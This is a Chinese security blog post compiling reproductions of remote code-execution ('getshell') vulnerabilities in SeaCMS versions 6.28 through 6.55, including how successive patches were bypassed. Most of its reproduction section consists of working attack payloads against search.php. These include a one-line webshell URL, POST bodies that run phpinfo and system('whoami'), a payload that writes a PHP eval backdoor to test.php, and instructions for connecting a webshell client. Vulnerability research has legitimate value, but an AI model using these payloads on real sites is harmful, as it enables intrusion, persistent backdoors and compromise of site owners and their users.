海洋cms(SEACMS) 漏洞整合复现

0x00 漏洞概述

海洋CMS V6.28 存在命令执行漏洞,漏洞具体内容参见:
海洋CMS V6.28 命令执行 0DAY

在2017年2月,海洋CMS 6.45版本存在一个前台getshell漏洞,漏洞具体内容参见:
SeaCMS v6.45前台Getshell 代码执行漏洞分析
Seacms漏洞分析利用复现 By Assassin - Assassin - CSDN博客
该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。
但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

6.54版本更新中,官方给出的修复是在parseIf函数里面加了黑名单。
但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。
SeaCMS v6.54和v6.55前台Getshell 代码执行漏洞分析(附批量getshell脚本)

0x01 漏洞复现

海洋CMS V6.28

详见:
海洋CMS V6.28 命令执行 0DAY

一句话payload,密码cmd:

url+/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

海洋CMS V6.45

详见:
SeaCMS v6.45前台Getshell 代码执行漏洞分析

path:
url+/search.php
POST:
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

【代码审计】seacms 前台Getshell分析

path:
url+/search.php

searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

seacms最新版前台getshell
一句话payload,文件test.php 密码pass:
path:
url+/search.php

}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')

海洋CMS V6.54

详见:
漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警
SeaCMS v6.54和v6.55前台Getshell 代码执行漏洞分析(附批量getshell脚本)

path:
url+/search.php
POST:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

命令执行payload

path:
url+/search.php
POST:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

url一句话拿shell
详见:
记一次海洋cms任意代码执行漏洞拿shell(url一句话马)

权限足够的话,file_put_concents(“connect.php”,”“),然后连接菜刀即可。
权限不足的话,利用payload构造url:

url+/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

连接放入菜刀,密码是 9[]

海洋CMS V6.55

详见:
SeaCMS v6.54和v6.55前台Getshell 代码执行漏洞分析(附批量getshell脚本)

path:
url+/search.php
POST:

searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

参考文章

海洋CMS V6.28 命令执行 0DAY
SeaCMS v6.45前台Getshell 代码执行漏洞分析
漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警
记一次海洋cms任意代码执行漏洞拿shell(url一句话马)
SeaCMS v6.54和v6.55前台Getshell 代码执行漏洞分析(附批量getshell脚本)


   转载规则


《海洋cms(SEACMS) 漏洞整合复现》 dylan 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Wordpress 后台GetShell总结 Wordpress 后台GetShell总结
0x00 前言Wordpress后台Getshell的方法网上公开了很多,在此记录总结一下 相比于前台,wordpress后台的防御的就低得多Wordpress的插件和主题功都可以上传和线编辑很容易就可以插入木马getshell ?auth
2019-11-06
下一篇 
Maccms8.x(苹果cms)命令执行漏洞复现 Maccms8.x(苹果cms)命令执行漏洞复现
0x00 漏洞概述村里刚通网,复现下maccms的命令执行漏洞该漏洞主要的产生原因是CMS搜索页面搜索参数过滤不严导致直接eval执行PHP语句,前台命令执行可getshell 0x01 影响版本Maccms8.x 0x02 漏洞复现环境搭
2019-11-04
  目录